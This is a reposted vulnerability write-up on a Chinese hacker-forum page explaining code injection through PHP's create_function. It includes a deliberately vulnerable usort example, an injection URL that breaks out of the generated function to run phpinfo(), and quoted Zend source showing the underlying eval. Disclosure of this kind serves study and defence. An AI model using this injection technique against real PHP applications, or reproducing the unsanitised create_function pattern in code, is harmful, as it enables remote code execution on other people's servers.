| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> Exploite >> 正文
php create_function commond injection vulnerability
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

php use create_function function to CREATE an anonymous function like below(stolen from php_manual):

————————————————–
Description
string create_function ( string args, string code )

Creates an anonymous function from the parameters passed, and returns a unique name for it. Usually the args will be passed as a single quote delimited string, and this is also recommended for the code. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

You can use this function, to (for example) create a function from information gathered at run time:

1. Creating an anonymous function with create_function()

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

………

But 80sec found there is a commond injection in this function,you can EXECUTE your php code directly but not CREATE a lambda-style function.It is very useful when sometimes you can create a function but cann’t call your function.Check code below:


<?php
$sort_by=stripslashes($_GET[sort_by]);
$databases=array(”test”);
$sorter = ‘var_dump’;
$sort_function = ‘
return ‘ . ($sort_order == ‘ASC’ ? 1 : -1) . ‘ * ‘ . $sorter . ‘($a["' . $sort_by .
'"], $b["' . $sort_by . '"]);
‘;
usort($databases, create_function(’$a, $b’, $sort_function));
?>

Yes,you can create a function,but because the $databases has only one value,the function never be called,so your injected code cann’t be executed :),but when you input like this:


test.php?sort_by="]);}phpinfo();/*

Bingo,phpinfo executed in create_function,you needn’t call the function at all!

Create_function is a ZEND_FUNCTION in php,it is defined in ./Zend/zend_builtin_functions.c :


.......
eval_code = (char *) emalloc(eval_code_length);
sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code));
eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC);
retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);
.......

It simply use zend_eval_string to do this work,which execute “function ” LAMBDA_TEMP_FUNCNAME “(%s){%s}”.As you see,you can easily use ‘}’ to close ‘}’,and other codes is executed by zend_eval_string runtime :)

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |